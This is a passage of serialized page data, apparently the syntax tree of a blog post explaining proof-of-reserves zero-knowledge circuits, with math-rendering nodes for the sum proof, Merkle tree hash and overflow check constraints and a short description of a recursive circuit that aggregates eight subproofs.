rops":96050,"children":96052},{"className":96051},[6345,23902],[96053],{"type":29,"value":95085},{"type":23,"tag":230,"props":96055,"children":96057},{"className":96056},[6345,23902],[96058],{"type":29,"value":58177},{"type":23,"tag":230,"props":96060,"children":96062},{"className":96061},[6345,23902],[96063],{"type":29,"value":24044},{"type":23,"tag":230,"props":96065,"children":96067},{"className":96066,"style":94826},[6345],[96068],{"type":29,"value":5422},{"type":23,"tag":230,"props":96070,"children":96072},{"className":96071},[6345,23902],[96073],{"type":29,"value":181},{"type":23,"tag":230,"props":96075,"children":96077},{"className":96076},[6345,23902],[96078],{"type":29,"value":94817},{"type":23,"tag":230,"props":96080,"children":96082},{"className":96081},[6345,23902],[96083],{"type":29,"value":24044},{"type":23,"tag":230,"props":96085,"children":96087},{"className":96086,"style":94826},[6345],[96088],{"type":29,"value":5422},{"type":23,"tag":230,"props":96090,"children":96092},{"className":96091},[6345,23902],[96093],{"type":29,"value":94834},{"type":23,"tag":230,"props":96095,"children":96097},{"className":96096,"style":94838},[6345,23902],[96098],{"type":29,"value":94841},{"type":23,"tag":230,"props":96100,"children":96102},{"className":96101},[6345,23902],[96103],{"type":29,"value":94847},{"type":23,"tag":230,"props":96105,"children":96107},{"className":96106},[6345,23902],[96108],{"type":29,"value":94853},{"type":23,"tag":230,"props":96110,"children":96112},{"className":96111},[6345],[96113,96118],{"type":23,"tag":230,"props":96114,"children":96116},{"className":96115},[6345,23902],[96117],{"type":29,"value":12982},{"type":23,"tag":230,"props":96119,"children":96121},{"className":96120},[6362],[96122],{"type":23,"tag":230,"props":96123,"children":96125},{"className":96124},[6367,23956],[96126,96155],{"type":23,"tag":230,"props":96127,"children":96129},{"className":96128},[6372],[96130,96150],{"type":23,"tag":230,"props":96131,"children":96133},{"className":96132,"style":95355},[6377],[96134],{"type":23,"tag":230,"props":96135,"children":96136},{"style":94882},[96137,96141],{"type":23,"tag":230,"props":96138,"children":96140},{"className":96139,"style":6387},[6386],[],{"type":23,"tag":230,"props":96142,"children":96144},{"className":96143},[6392,6393,6394,6395],[96145],{"type":23,"tag":230,"props":96146,"children":96148},{"className":96147},[6345,23902,6395],[96149],{"type":29,"value":6074},{"type":23,"tag":230,"props":96151,"children":96153},{"className":96152},[24059],[96154],{"type":29,"value":24062},{"type":23,"tag":230,"props":96156,"children":96158},{"className":96157},[6372],[96159],{"type":23,"tag":230,"props":96160,"children":96162},{"className":96161,"style":94909},[6377],[96163],{"type":23,"tag":230,"props":96164,"children":96165},{},[],{"type":23,"tag":230,"props":96167,"children":96169},{"className":96168},[24031],[96170],{"type":29,"value":6069},{"type":23,"tag":230,"props":96172,"children":96174},{"className":96173},[6345,23902],[96175],{"type":29,"value":181},{"type":23,"tag":230,"props":96177,"children":96179},{"className":96178},[6345,23902],[96180],{"type":29,"value":94817},{"type":23,"tag":230,"props":96182,"children":96184},{"className":96183},[6345,23902],[96185],{"type":29,"value":24044},{"type":23,"tag":230,"props":96187,"children":96189},{"className":96188,"style":94826},[6345],[96190],{"type":29,"value":5422},{"type":23,"tag":230,"props":96192,"children":96194},{"className":96193},[6345,23902],[96195],{"type":29,"value":58177},{"type":23,"tag":230,"props":96197,"children":96199},{"className":96198},[6345,23902],[96200],{"type":29,"value":95085},{"type":23,"tag":230,"props":96202,"children":96204},{"className":96203},[6345,23902],[96205],{"type":29,"value":52906},{"type":23,"tag":230,"props":96207,"children":96209},{"className":96208},[24053],[96210],{"type":29,"value":17735},{"type":29,"value":3374},{"type":23,"tag":2302,"props":96213,"children":96214},{},[96215],{"type":29,"value":96216},"(sum proof)",{"type":23,"tag":102,"props":96218,"children":96219},{},[96220,96609,96610],{"type":23,"tag":71,"props":96221,"children":96223},{"className":96222},[6318,6319],[96224],{"type":23,"tag":230,"props":96225,"children":96227},{"className":96226},[6324],[96228],{"type":23,"tag":230,"props":96229,"children":96231},{"className":96230,"ariaHidden":1726},[6329],[96232,96318],{"type":23,"tag":230,"props":96233,"children":96235},{"className":96234},[6334],[96236,96241,96246,96252,96258,96263,96268,96273,96278,96284,96289,96295,96300,96305,96309,96314],{"type":23,"tag":230,"props":96237,"children":96240},{"className":96238,"style":96239},[6339],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":230,"props":96242,"children":96244},{"className":96243},[6345,23902],[96245],{"type":29,"value":52906},{"type":23,"tag":230,"props":96247,"children":96249},{"className":96248,"style":94826},[6345,23902],[96250],{"type":29,"value":96251},"er",{"type":23,"tag":230,"props":96253,"children":96256},{"className":96254,"style":96255},[6345,23902],"margin-right:0.03148em;",[96257],{"type":29,"value":90463},{"type":23,"tag":230,"props":96259,"children":96261},{"className":96260,"style":94838},[6345,23902],[96262],{"type":29,"value":94841},{"type":23,"tag":230,"props":96264,"children":96266},{"className":96265},[6345,23902],[96267],{"type":29,"value":53227},{"type":23,"tag":230,"props":96269,"children":96271},{"className":96270,"style":94826},[6345],[96272],{"type":29,"value":5422},{"type":23,"tag":230,"props":96274,"children":96276},{"className":96275},[6345,23902],[96277],{"type":29,"value":24044},{"type":23,"tag":230,"props":96279,"children":96281},{"className":96280},[6345,23902],[96282],{"type":29,"value":96283},"ree",{"type":23,"tag":230,"props":96285,"children":96287},{"className":96286,"style":94826},[6345],[96288],{"type":29,"value":5422},{"type":23,"tag":230,"props":96290,"children":96292},{"className":96291},[6345,23902],[96293],{"type":29,"value":96294},"ha",{"type":23,"tag":230,"props":96296,"children":96298},{"className":96297},[6345,23902],[96299],{"type":29,"value":12982},{"type":23,"tag":230,"props":96301,"children":96303},{"className":96302},[6345,23902],[96304],{"type":29,"value":86124},{"type":23,"tag":230,"props":96306,"children":96308},{"className":96307,"style":6524},[6426],[],{"type":23,"tag":230,"props":96310,"children":96312},{"className":96311},[6529],[96313],{"type":29,"value":10911},{"type":23,"tag":230,"props":96315,"children":96317},{"className":96316,"style":6524},[6426],[],{"type":23,"tag":230,"props":96319,"children":96321},{"className":96320},[6334],[96322,96326,96331,96336,96341,96346,96351,96356,96361,96366,96371,96428,96433,96437,96442,96447,96504,96509,96514,96518,96523,96528,96532,96537,96542,96604],{"type":23,"tag":230,"props":96323,"children":96325},{"className":96324,"style":6447},[6339],[],{"type":23,"tag":230,"props":96327,"children":96329},{"className":96328,"style":23903},[6345,23902],[96330],{"type":29,"value":23906},{"type":23,"tag":230,"props":96332,"children":96334},{"className":96333},[6345,23902],[96335],{"type":29,"value":94780},{"type":23,"tag":230,"props":96337,"children":96339},{"className":96338},[6345,23902],[96340],{"type":29,"value":6074},{"type":23,"tag":230,"props":96342,"children":96344},{"className":96343},[6345,23902],[96345],{"type":29,"value":72341},{"type":23,"tag":230,"props":96347,"children":96349},{"className":96348},[6345,23902],[96350],{"type":29,"value":94796},{"type":23,"tag":230,"props":96352,"children":96354},{"className":96353},[6345,23902],[96355],{"type":29,"value":58177},{"type":23,"tag":230,"props":96357,"children":96359},{"className":96358},[24031],[96360],{"type":29,"value":302},{"type":23,"tag":230,"props":96362,"children":96364},{"className":96363},[6345,23902],[96365],{"type":29,"value":96294},{"type":23,"tag":230,"props":96367,"children":96369},{"className":96368},[6345,23902],[96370],{"type":29,"value":12982},{"type":23,"tag":230,"props":96372,"children":96374},{"className":96373},[6345],[96375,96380],{"type":23,"tag":230,"props":96376,"children":96378},{"className":96377},[6345,23902],[96379],{"type":29,"value":86124},{"type":23,"tag":230,"props":96381,"children":96383},{"className":96382},[6362],[96384],{"type":23,"tag":230,"props":96385,"children":96387},{"className":96386},[6367,23956],[96388,96417],{"type":23,"tag":230,"props":96389,"children":96391},{"className":96390},[6372],[96392,96412],{"type":23,"tag":230,"props":96393,"children":96395},{"className":96394,"style":94878},[6377],[96396],{"type":23,"tag":230,"props":96397,"children":96398},{"style":94882},[96399,96403],{"type":23,"tag":230,"props":96400,"children":96402},{"className":96401,"style":6387},[6386],[],{"type":23,"tag":230,"props":96404,"children":96406},{"className":96405},[6392,6393,6394,6395],[96407],{"type":23,"tag":230,"props":96408,"children":96410},{"className":96409},[6345,6395],[96411],{"type":29,"value":6358},{"type":23,"tag":230,"props":96413,"children":96415},{"className":96414},[24059],[96416],{"type":29,"value":24062},{"type":23,"tag":230,"props":96418,"children":96420},{"className":96419},[6372],[96421],{"type":23,"tag":230,"props":96422,"children":96424},{"className":96423,"style":94909},[6377],[96425],{"type":23,"tag":230,"props":96426,"children":96427},{},[],{"type":23,"tag":230,"props":96429,"children":96431},{"className":96430},[6458],[96432],{"type":29,"value":6461},{"type":23,"tag":230,"props":96434,"children":96436},{"className":96435,"style":6465},[6426],[],{"type":23,"tag":230,"props":96438,"children":96440},{"className":96439},[6345,23902],[96441],{"type":29,"value":96294},{"type":23,"tag":230,"props":96443,"children":96445},{"className":96444},[6345,23902],[96446],{"type":29,"value":12982},{"type":23,"tag":230,"props":96448,"children":96450},{"className":96449},[6345],[96451,96456],{"type":23,"tag":230,"props":96452,"children":96454},{"className":96453},[6345,23902],[96455],{"type":29,"value":86124},{"type":23,"tag":230,"props":96457,"children":96459},{"className":96458},[6362],[96460],{"type":23,"tag":230,"props":96461,"children":96463},{"className":96462},[6367,23956],[96464,96493],{"type":23,"tag":230,"props":96465,"children":96467},{"className":96466},[6372],[96468,96488],{"type":23,"tag":230,"props":96469,"children":96471},{"className":96470,"style":94878},[6377],[96472],{"type":23,"tag":230,"props":96473,"children":96474},{"style":94882},[96475,96479],{"type":23,"tag":230,"props":96476,"children":96478},{"className":96477,"style":6387},[6386],[],{"type":23,"tag":230,"props":96480,"children":96482},{"className":96481},[6392,6393,6394,6395],[96483],{"type":23,"tag":230,"props":96484,"children":96486},{"className":96485},[6345,6395],[96487],{"type":29,"value":6348},{"type":23,"tag":230,"props":96489,"children":96491},{"className":96490},[24059],[96492],{"type":29,"value":24062},{"type":23,"tag":230,"props":96494,"children":96496},{"className":96495},[6372],[96497],{"type":23,"tag":230,"props":96498,"children":96500},{"className":96499,"style":94909},[6377],[96501],{"type":23,"tag":230,"props":96502,"children":96503},{},[],{"type":23,"tag":230,"props":96505,"children":96507},{"className":96506},[6458],[96508],{"type":29,"value":6461},{"type":23,"tag":230,"props":96510,"children":96512},{"className":96511},[6426],[96513],{"type":29,"value":24003},{"type":23,"tag":230,"props":96515,"children":96517},{"className":96516,"style":6465},[6426],[],{"type":23,"tag":230,"props":96519,"children":96521},{"className":96520},[6345],[96522],{"type":29,"value":11922},{"type":23,"tag":230,"props":96524,"children":96526},{"className":96525},[6458],[96527],{"type":29,"value":6461},{"type":23,"tag":230,"props":96529,"children":96531},{"className":96530,"style":6465},[6426],[],{"type":23,"tag":230,"props":96533,"children":96535},{"className":96534},[6345,23902],[96536],{"type":29,"value":96294},{"type":23,"tag":230,"props":96538,"children":96540},{"className":96539},[6345,23902],[96541],{"type":29,"value":12982},{"type":23,"tag":230,"props":96543,"children":96545},{"className":96544},[6345],[96546,96551],{"type":23,"tag":230,"props":96547,"children":96549},{"className":96548},[6345,23902],[96550],{"type":29,"value":86124},{"type":23,"tag":230,"props":96552,"children":96554},{"className":96553},[6362],[96555],{"type":23,"tag":230,"props":96556,"children":96558},{"className":96557},[6367,23956],[96559,96593],{"type":23,"tag":230,"props":96560,"children":96562},{"className":96561},[6372],[96563,96588],{"type":23,"tag":230,"props":96564,"children":96566},{"className":96565,"style":94878},[6377],[96567],{"type":23,"tag":230,"props":96568,"children":96569},{"style":94882},[96570,96574],{"type":23,"tag":230,"props":96571,"children":96573},{"className":96572,"style":6387},[6386],[],{"type":23,"tag":230,"props":96575,"children":96577},{"className":96576},[6392,6393,6394,6395],[96578],{"type":23,"tag":230,"props":96579,"children":96581},{"className":96580},[6345,6395],[96582],{"type":23,"tag":230,"props":96583,"children":96585},{"className":96584},[6345,6395],[96586],{"type":29,"value":96587},"511",{"type":23,"tag":230,"props":96589,"children":96591},{"className":96590},[24059],[96592],{"type":29,"value":24062},{"type":23,"tag":230,"props":96594,"children":96596},{"className":96595},[6372],[96597],{"type":23,"tag":230,"props":96598,"children":96600},{"className":96599,"style":94909},[6377],[96601],{"type":23,"tag":230,"props":96602,"children":96603},{},[],{"type":23,"tag":230,"props":96605,"children":96607},{"className":96606},[24053],[96608],{"type":29,"value":5467},{"type":29,"value":3374},{"type":23,"tag":2302,"props":96611,"children":96612},{},[96613],{"type":29,"value":96614},"(merkle tree hash)",{"type":23,"tag":102,"props":96616,"children":96617},{},[96618,96893,96894,96899,96901,96906],{"type":23,"tag":71,"props":96619,"children":96621},{"className":96620},[6318,6319],[96622],{"type":23,"tag":230,"props":96623,"children":96625},{"className":96624},[6324],[96626],{"type":23,"tag":230,"props":96627,"children":96629},{"className":96628,"ariaHidden":1726},[6329],[96630,96823],{"type":23,"tag":230,"props":96631,"children":96633},{"className":96632},[6334],[96634,96638,96643,96648,96653,96658,96663,96668,96673,96678,96683,96688,96693,96698,96703,96708,96765,96770,96775,96780,96785,96790,96795,96800,96805,96810,96814,96819],{"type":23,"tag":230,"props":96635,"children":96637},{"className":96636,"style":94768},[6339],[],{"type":23,"tag":230,"props":96639,"children":96641},{"className":96640},[6345,23902],[96642],{"type":29,"value":181},{"type":23,"tag":230,"props":96644,"children":96646},{"className":96645},[6345,23902],[96647],{"type":29,"value":95283},{"type":23,"tag":230,"props":96649,"children":96651},{"className":96650},[6345,23902],[96652],{"type":29,"value":95085},{"type":23,"tag":230,"props":96654,"children":96656},{"className":96655},[6345,23902],[96657],{"type":29,"value":58177},{"type":23,"tag":230,"props":96659,"children":96661},{"className":96660},[6345,23902],[96662],{"type":29,"value":24044},{"type":23,"tag":230,"props":96664,"children":96666},{"className":96665,"style":94826},[6345],[96667],{"type":29,"value":5422},{"type":23,"tag":230,"props":96669,"children":96671},{"className":96670},[6345,23902],[96672],{"type":29,"value":181},{"type":23,"tag":230,"props":96674,"children":96676},{"className":96675},[6345,23902],[96677],{"type":29,"value":94817},{"type":23,"tag":230,"props":96679,"children":96681},{"className":96680},[6345,23902],[96682],{"type":29,"value":24044},{"type":23,"tag":230,"props":96684,"children":96686},{"className":96685,"style":94826},[6345],[96687],{"type":29,"value":5422},{"type":23,"tag":230,"props":96689,"children":96691},{"className":96690},[6345,23902],[96692],{"type":29,"value":94834},{"type":23,"tag":230,"props":96694,"children":96696},{"className":96695,"style":94838},[6345,23902],[96697],{"type":29,"value":94841},{"type":23,"tag":230,"props":96699,"children":96701},{"className":96700},[6345,23902],[96702],{"type":29,"value":94847},{"type":23,"tag":230,"props":96704,"children":96706},{"className":96705},[6345,23902],[96707],{"type":29,"value":94853},{"type":23,"tag":230,"props":96709,"children":96711},{"className":96710},[6345],[96712,96717],{"type":23,"tag":230,"props":96713,"children":96715},{"className":96714},[6345,23902],[96716],{"type":29,"value":12982},{"type":23,"tag":230,"props":96718,"children":96720},{"className":96719},[6362],[96721],{"type":23,"tag":230,"props":96722,"children":96724},{"className":96723},[6367,23956],[96725,96754],{"type":23,"tag":230,"props":96726,"children":96728},{"className":96727},[6372],[96729,96749],{"type":23,"tag":230,"props":96730,"children":96732},{"className":96731,"style":95355},[6377],[96733],{"type":23,"tag":230,"props":96734,"children":96735},{"style":94882},[96736,96740],{"type":23,"tag":230,"props":96737,"children":96739},{"className":96738,"style":6387},[6386],[],{"type":23,"tag":230,"props":96741,"children":96743},{"className":96742},[6392,6393,6394,6395],[96744],{"type":23,"tag":230,"props":96745,"children":96747},{"className":96746},[6345,23902,6395],[96748],{"type":29,"value":6074},{"type":23,"tag":230,"props":96750,"children":96752},{"className":96751},[24059],[96753],{"type":29,"value":24062},{"type":23,"tag":230,"props":96755,"children":96757},{"className":96756},[6372],[96758],{"type":23,"tag":230,"props":96759,"children":96761},{"className":96760,"style":94909},[6377],[96762],{"type":23,"tag":230,"props":96763,"children":96764},{},[],{"type":23,"tag":230,"props":96766,"children":96768},{"className":96767},[24031],[96769],{"type":29,"value":6069},{"type":23,"tag":230,"props":96771,"children":96773},{"className":96772},[6345,23902],[96774],{"type":29,"value":181},{"type":23,"tag":230,"props":96776,"children":96778},{"className":96777},[6345,23902],[96779],{"type":29,"value":94817},{"type":23,"tag":230,"props":96781,"children":96783},{"className":96782},[6345,23902],[96784],{"type":29,"value":24044},{"type":23,"tag":230,"props":96786,"children":96788},{"className":96787,"style":94826},[6345],[96789],{"type":29,"value":5422},{"type":23,"tag":230,"props":96791,"children":96793},{"className":96792},[6345,23902],[96794],{"type":29,"value":58177},{"type":23,"tag":230,"props":96796,"children":96798},{"className":96797},[6345,23902],[96799],{"type":29,"value":95085},{"type":23,"tag":230,"props":96801,"children":96803},{"className":96802},[6345,23902],[96804],{"type":29,"value":52906},{"type":23,"tag":230,"props":96806,"children":96808},{"className":96807},[24053],[96809],{"type":29,"value":17735},{"type":23,"tag":230,"props":96811,"children":96813},{"className":96812,"style":6524},[6426],[],{"type":23,"tag":230,"props":96815,"children":96817},{"className":96816},[6529],[96818],{"type":29,"value":8143},{"type":23,"tag":230,"props":96820,"children":96822},{"className":96821,"style":6524},[6426],[],{"type":23,"tag":230,"props":96824,"children":96826},{"className":96825},[6334],[96827,96831,96838,96843,96849,96854,96859,96864,96870,96875,96881,96887],{"type":23,"tag":230,"props":96828,"children":96830},{"className":96829,"style":94768},[6339],[],{"type":23,"tag":230,"props":96832,"children":96835},{"className":96833,"style":96834},[6345,23902],"margin-right:0.10903em;",[96836],{"type":29,"value":96837},"M",{"type":23,"tag":230,"props":96839,"children":96841},{"className":96840},[6345,23902],[96842],{"type":29,"value":78546},{"type":23,"tag":230,"props":96844,"children":96847},{"className":96845,"style":96846},[6345,23902],"margin-right:0.07847em;",[96848],{"type":29,"value":8470},{"type":23,"tag":230,"props":96850,"children":96852},{"className":96851,"style":94826},[6345],[96853],{"type":29,"value":5422},{"type":23,"tag":230,"props":96855,"children":96857},{"className":96856,"style":24361},[6345,23902],[96858],{"type":29,"value":24364},{"type":23,"tag":230,"props":96860,"children":96862},{"className":96861},[6345,23902],[96863],{"type":29,"value":78546},{"type":23,"tag":230,"props":96865,"children":96867},{"className":96866,"style":24361},[6345,23902],[96868],{"type":29,"value":96869},"FE",{"type":23,"tag":230,"props":96871,"children":96873},{"className":96872,"style":94826},[6345],[96874],{"type":29,"value":5422},{"type":23,"tag":230,"props":96876,"children":96878},{"className":96877,"style":96846},[6345,23902],[96879],{"type":29,"value":96880},"I",{"type":23,"tag":230,"props":96882,"children":96884},{"className":96883,"style":23903},[6345,23902],[96885],{"type":29,"value":96886},"NT",{"type":23,"tag":230,"props":96888,"children":96890},{"className":96889},[6345],[96891],{"type":29,"value":96892},"/512",{"type":29,"value":3374},{"type":23,"tag":2302,"props":96895,"children":96896},{},[96897],{"type":29,"value":96898},"(overflow check)",{"type":29,"value":96900}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":71,"props":96902,"children":96904},{"className":96903},[],[96905],{"type":29,"value":94684},{"type":29,"value":5467},{"type":23,"tag":32,"props":96908,"children":96909},{},[96910],{"type":29,"value":96911},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":32,"props":96913,"children":96914},{},[96915],{"type":23,"tag":93,"props":96916,"children":96918},{"alt":52351,"src":96917},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":59,"props":96920,"children":96922},{"id":96921},"recursive-circuit",[96923],{"type":29,"value":96924},"Recursive Circuit",{"type":23,"tag":32,"props":96926,"children":96927},{},[96928],{"type":29,"value":96929},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":32,"props":96931,"children":96932},{},[96933],{"type":23,"tag":2302,"props":96934,"children":96935},{},[96936],{"type":29,"value":95198},{"type":23,"tag":98,"props":96938,"children":96939},{},[96940,96944,96949],{"type":23,"tag":102,"props":96941,"children":96942},{},[96943],{"type":29,"value":95216},{"type":23,"tag":102,"props":96945,"children":96946},{},[96947],{"type":29,"value":96948},"Asset prices",{"type":23,"tag":102,"props":96950,"children":96951},{},[96952],{"type":29,"value":95211},{"type":23,"tag":32,"props":96954,"children":96955},{},[96956],{"type":23,"tag":2302,"props":96957,"children":96958},{},[96959],{"type":29,"value":95224},{"type":23,"tag":98,"props":96961,"children":96962},{},[96963],{"type":23,"tag":102,"props":96964,"children":96965},{},[96966],{"type":29,"value":96967},"8 subproofs",{"type":23,"tag":32,"props":96969,"children":96970},{},[96971],{"type":23,"tag":2302,"props":96972,"children":96973},{},[96974],{"type":29,"value":95245},{"type":23,"tag":98,"props":96976,"children":96977},{},[96978,97388,97719,98086,98473],{"type":23,"tag":102,"props":96979,"children":96980},{},[96981,97383,97384],{"type":23,"tag":71,"props":96982,"children":96984},{"className":96983},[6318,6319],[96985],{"type":23,"tag":230,"props":96986,"children":96988},{"className":96987},[6324],[96989],{"type":23,"tag":230,"props":96990,"children":96992},{"className":96991,"ariaHidden":1726},[6329],[96993,97129],{"type":23,"tag":230,"props":96994,"children":96996},{"className":96995},[6334],[96997,97001,97006,97011,97016,97021,97026,97031,97036,97041,97046,97051,97056,97061,97066,97071,97076,97081,97086,97091,97096,97101,97106,97111,97116,97120,97125],{"type":23,"tag":230,"props":96998,"children":97000},{"className":96999,"style":94768},[6339],[],{"type":23,"tag":230,"props":97002,"children":97004},{"className":97003},[6345,23902],[97005],{"type":29,"value":24044},{"type":23,"tag":230,"props":97007,"children":97009},{"className":97008},[6345,23902],[97010],{"type":29,"value":94796},{"type":23,"tag":230,"props":97012,"children":97014},{"className":97013},[6345,23902],[97015],{"type":29,"value":24044},{"type":23,"tag":230,"props":97017,"children":97019},{"className":97018},[6345,23902],[97020],{"type":29,"value":181},{"type":23,"tag":230,"props":97022,"children":97024},{"className":97023,"style":94838},[6345,23902],[97025],{"type":29,"value":94841},{"type":23,"tag":230,"props":97027,"children":97029},{"className":97028,"style":94826},[6345],[97030],{"type":29,"value":5422},{"type":23,"tag":230,"props":97032,"children":97034},{"className":97033},[6345,23902],[97035],{"type":29,"value":181},{"type":23,"tag":230,"props":97037,"children":97039},{"className":97038},[6345,23902],[97040],{"type":29,"value":94817},{"type":23,"tag":230,"props":97042,"children":97044},{"className":97043},[6345,23902],[97045],{"type":29,"value":24044},{"type":23,"tag":230,"props":97047,"children":97049},{"className":97048,"style":94826},[6345],[97050],{"type":29,"value":5422},{"type":23,"tag":230,"props":97052,"children":97054},{"className":97053},[6345,23902],[97055],{"type":29,"value":94834},{"type":23,"tag":230,"props":97057,"children":97059},{"className":97058,"style":94838},[6345,23902],[97060],{"type":29,"value":94841},{"type":23,"tag":230,"props":97062,"children":97064},{"className":97063},[6345,23902],[97065],{"type":29,"value":94847},{"type":23,"tag":230,"props":97067,"children":97069},{"className":97068},[6345,23902],[97070],{"type":29,"value":94853},{"type":23,"tag":230,"props":97072,"children":97074},{"className":97073},[24031],[97075],{"type":29,"value":6069},{"type":23,"tag":230,"props":97077,"children":97079},{"className":97078},[6345,23902],[97080],{"type":29,"value":181},{"type":23,"tag":230,"props":97082,"children":97084},{"className":97083},[6345,23902],[97085],{"type":29,"value":94817},{"type":23,"tag":230,"props":97087,"children":97089},{"className":97088},[6345,23902],[97090],{"type":29,"value":24044},{"type":23,"tag":230,"props":97092,"children":97094},{"className":97093,"style":94826},[6345],[97095],{"type":29,"value":5422},{"type":23,"tag":230,"props":97097,"children":97099},{"className":97098},[6345,23902],[97100],{"type":29,"value":58177},{"type":23,"tag":230,"props":97102,"children":97104},{"className":97103},[6345,23902],[97105],{"type":29,"value":95085},{"type":23,"tag":230,"props":97107,"children":97109},{"className":97108},[6345,23902],[97110],{"type":29,"value":52906},{"type":23,"tag":230,"props":97112,"children":97114},{"className":97113},[24053],[97115],{"type":29,"value":17735},{"type":23,"tag":230,"props":97117,"children":97119},{"className":97118,"style":6524},[6426],[],{"type":23,"tag":230,"props":97121,"children":97123},{"className":97122},[6529],[97124],{"type":29,"value":10911},{"type":23,"tag":230,"props":97126,"children":97128},{"className":97127,"style":6524},[6426],[],{"type":23,"tag":230,"props":97130,"children":97132},{"className":97131},[6334],[97133,97137,97142,97147,97152,97157,97162,97167,97173,97232,97237,97242,97247,97252,97257,97262,97267,97272,97278,97283,97288,97293,97298,97303,97308,97313,97318,97323,97328,97333,97338,97343,97348,97353,97358,97363,97368,97373,97378],{"type":23,"tag":230,"props":97134,"children":97136},{"className":97135,"style":94768},[6339],[],{"type":23,"tag":230,"props":97138,"children":97140},{"className":97139},[6345],[97141],{"type":29,"value":95416},{"type":23,"tag":230,"props":97143,"children":97145},{"className":97144},[6426],[97146],{"type":29,"value":24003},{"type":23,"tag":230,"props":97148,"children":97150},{"className":97149},[6345,23902],[97151],{"type":29,"value":12982},{"type":23,"tag":230,"props":97153,"children":97155},{"className":97154},[6345,23902],[97156],{"type":29,"value":95085},{"type":23,"tag":230,"props":97158,"children":97160},{"className":97159},[6345,23902],[97161],{"type":29,"value":5561},{"type":23,"tag":230,"props":97163,"children":97165},{"className":97164},[6345,23902],[97166],{"type":29,"value":32},{"type":23,"tag":230,"props":97168,"children":97170},{"className":97169},[6345,23902],[97171],{"type":29,"value":97172},"roo",{"type":23,"tag":230,"props":97174,"children":97176},{"className":97175},[6345],[97177,97183],{"type":23,"tag":230,"props":97178,"children":97181},{"className":97179,"style":97180},[6345,23902],"margin-right:0.10764em;",[97182],{"type":29,"value":35377},{"type":23,"tag":230,"props":97184,"children":97186},{"className":97185},[6362],[97187],{"type":23,"tag":230,"props":97188,"children":97190},{"className":97189},[6367,23956],[97191,97221],{"type":23,"tag":230,"props":97192,"children":97194},{"className":97193},[6372],[97195,97216],{"type":23,"tag":230,"props":97196,"children":97198},{"className":97197,"style":95355},[6377],[97199],{"type":23,"tag":230,"props":97200,"children":97202},{"style":97201},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[97203,97207],{"type":23,"tag":230,"props":97204,"children":97206},{"className":97205,"style":6387},[6386],[],{"type":23,"tag":230,"props":97208,"children":97210},{"className":97209},[6392,6393,6394,6395],[97211],{"type":23,"tag":230,"props":97212,"children":97214},{"className":97213},[6345,23902,6395],[97215],{"type":29,"value":6074},{"type":23,"tag":230,"props":97217,"children":97219},{"className":97218},[24059],[97220],{"type":29,"value":24062},{"type":23,"tag":230,"props":97222,"children":97224},{"className":97223},[6372],[97225],{"type":23,"tag":230,"props":97226,"children":97228},{"className":97227,"style":94909},[6377],[97229],{"type":23,"tag":230,"props":97230,"children":97231},{},[],{"type":23,"tag":230,"props":97233,"children":97235},{"className":97234},[6345],[97236],{"type":29,"value":312},{"type":23,"tag":230,"props":97238,"children":97240},{"className":97239},[6345,23902],[97241],{"type":29,"value":32},{"type":23,"tag":230,"props":97243,"children":97245},{"className":97244},[6345,23902],[97246],{"type":29,"value":95085},{"type":23,"tag":230,"props":97248,"children":97250},{"className":97249},[6345,23902],[97251],{"type":29,"value":5561},{"type":23,"tag":230,"props":97253,"children":97255},{"className":97254,"style":94838},[6345,23902],[97256],{"type":29,"value":94841},{"type":23,"tag":230,"props":97258,"children":97260},{"className":97259},[6345,23902],[97261],{"type":29,"value":6074},{"type":23,"tag":230,"props":97263,"children":97265},{"className":97264},[6345,23902],[97266],{"type":29,"value":2148},{"type":23,"tag":230,"props":97268,"children":97270},{"className":97269,"style":94826},[6345],[97271],{"type":29,"value":5422},{"type":23,"tag":230,"props":97273,"children":97275},{"className":97274},[6345,23902],[97276],{"type":29,"value":97277},"in",{"type":23,"tag":230,"props":97279,"children":97281},{"className":97280},[6345,23902],[97282],{"type":29,"value":32},{"type":23,"tag":230,"props":97284,"children":97286},{"className":97285},[6345,23902],[97287],{"type":29,"value":95085},{"type":23,"tag":230,"props":97289,"children":97291},{"className":97290},[6345,23902],[97292],{"type":29,"value":24044},{"type":23,"tag":230,"props":97294,"children":97296},{"className":97295},[6345],[97297],{"type":29,"value":312},{"type":23,"tag":230,"props":97299,"children":97301},{"className":97300},[6345,23902],[97302],{"type":29,"value":181},{"type":23,"tag":230,"props":97304,"children":97306},{"className":97305},[6345,23902],[97307],{"type":29,"value":94817},{"type":23,"tag":230,"props":97309,"children":97311},{"className":97310},[6345,23902],[97312],{"type":29,"value":24044},{"type":23,"tag":230,"props":97314,"children":97316},{"className":97315,"style":94826},[6345],[97317],{"type":29,"value":5422},{"type":23,"tag":230,"props":97319,"children":97321},{"className":97320},[6345,23902],[97322],{"type":29,"value":94834},{"type":23,"tag":230,"props":97324,"children":97326},{"className":97325,"style":94838},[6345,23902],[97327],{"type":29,"value":94841},{"type":23,"tag":230,"props":97329,"children":97331},{"className":97330},[6345,23902],[97332],{"type":29,"value":94847},{"type":23,"tag":230,"props":97334,"children":97336},{"className":97335},[6345,23902],[97337],{"type":29,"value":95656},{"type":23,"tag":230,"props":97339,"children":97341},{"className":97340},[24031],[97342],{"type":29,"value":6069},{"type":23,"tag":230,"props":97344,"children":97346},{"className":97345},[6345,23902],[97347],{"type":29,"value":181},{"type":23,"tag":230,"props":97349,"children":97351},{"className":97350},[6345,23902],[97352],{"type":29,"value":94817},{"type":23,"tag":230,"props":97354,"children":97356},{"className":97355},[6345,23902],[97357],{"type":29,"value":24044},{"type":23,"tag":230,"props":97359,"children":97361},{"className":97360,"style":94826},[6345],[97362],{"type":29,"value":5422},{"type":23,"tag":230,"props":97364,"children":97366},{"className":97365},[6345,23902],[97367],{"type":29,"value":58177},{"type":23,"tag":230,"props":97369,"children":97371},{"className":97370},[6345,23902],[97372],{"type":29,"value":95085},{"type":23,"tag":230,"props":97374,"children":97376},{"className":97375},[6345,23902],[97377],{"type":29,"value":52906},{"type":23,"tag":230,"props":97379,"children":97381},{"className":97380},[24053],[97382],{"type":29,"value":17735},{"type":29,"value":3374},{"type":23,"tag":2302,"props":97385,"children":97386},{},[97387],{"type":29,"value":96216},{"type":23,"tag":102,"props":9738